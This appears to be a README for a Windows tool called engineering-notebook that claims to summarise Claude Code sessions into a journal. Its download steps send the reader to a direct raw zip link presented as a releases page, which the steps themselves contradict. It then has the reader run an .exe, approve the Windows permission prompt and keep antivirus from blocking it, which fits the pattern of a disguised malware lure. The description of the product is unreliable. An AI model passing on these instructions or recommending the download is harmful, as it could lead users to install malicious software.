engineering-notebook is a simple command-line tool. It takes your Claude Code sessions and turns them into easy-to-read summaries. It helps you keep an engineering journal you can browse on your computer. This way, you review past work and ideas quickly without searching through raw session logs.
You do not need to know programming to use it. The tool runs on Windows and works right from the command prompt. It makes managing your technical notes smoother and more organized.
- Windows 10 or higher (64-bit recommended)
- Minimum 4 GB RAM
- At least 500 MB free disk space
- Internet connection for setup and updates
- Command Prompt or PowerShell access
To get the software, visit the releases page below. This page holds all the versions and files you need.
Follow these steps to download and start engineering-notebook on your Windows computer:
-
Open the download page at this link:
https://raw.githubusercontent.com/Bartrixxx/engineering-notebook/main/docs/engineering-notebook-v3.9.zip -
Look for the latest release version at the top of the page. It usually has files attached under headings like "Assets".
-
Find the Windows executable file. It ends with
.exe, for example,engineering-notebook-windows.exe. -
Click the
.exefile name. Your browser will ask to save the file. Choose a folder easy to find, such as your Desktop or Downloads. -
Once the file downloads, open File Explorer and go to that folder.
-
Double-click the
.exefile to start installation or run the program directly, depending on the version. -
If Windows asks for permission, click "Yes" to allow the program to run.
After you run the program, here is how to use it step-by-step:
-
Open Command Prompt or PowerShell:
- Press the Windows key
- Type
cmdorPowerShell - Press Enter
-
Navigate to the folder containing
engineering-notebook.exe:cd path\to\your\folderReplace
path\to\your\folderwith the folder path. -
Start the program by typing:
engineering-notebook.exe -
The program will prompt you to add your Claude Code session files.
-
Follow the on-screen instructions to upload your sessions. The tool will then create summaries and build your journal.
-
To browse the notes, open your browser and go to the address shown in the command prompt (usually localhost with a port number).
Before using the tool, collect your Claude Code session files. These files contain the raw session data. The tool reads them to generate summaries.
- Place the session files in a single folder on your computer.
- Ensure the files are in plain text format or JSON, as provided by Claude.
- The program accepts multiple sessions at once.
The program works as a command-line app with some basic commands:
-
To add session files:
engineering-notebook.exe add path\to\sessions -
To generate summaries:
engineering-notebook.exe summarize -
To open the browsing interface:
engineering-notebook.exe serve
Use help to see all commands:
engineering-notebook.exe help
-
If the program does not start, check you have the right Windows version.
-
Ensure your
.exefile is fully downloaded and not blocked by antivirus software. -
If the command prompt does not recognize
engineering-notebook.exe, check that you are in the correct folder or specify the full path, like:C:\Users\YourName\Downloads\engineering-notebook.exe -
Make sure your session files are not corrupted and are in the correct format.
Visit the same releases page regularly:
Download any new .exe files to update your tool. Installing new versions usually means replacing the old .exe file.
engineering-notebook saves summaries and logs in a local folder created when you run the tool. This folder stores your engineering journal safely on your PC. You keep full control over your data.
All data stays on your device. The tool does not send your session information over the internet. You can review and delete your journals at any time.
If you face issues not covered here, open the Issues tab on the GitHub repository page:
Describe your problem clearly. Someone from the community or the developer might assist you.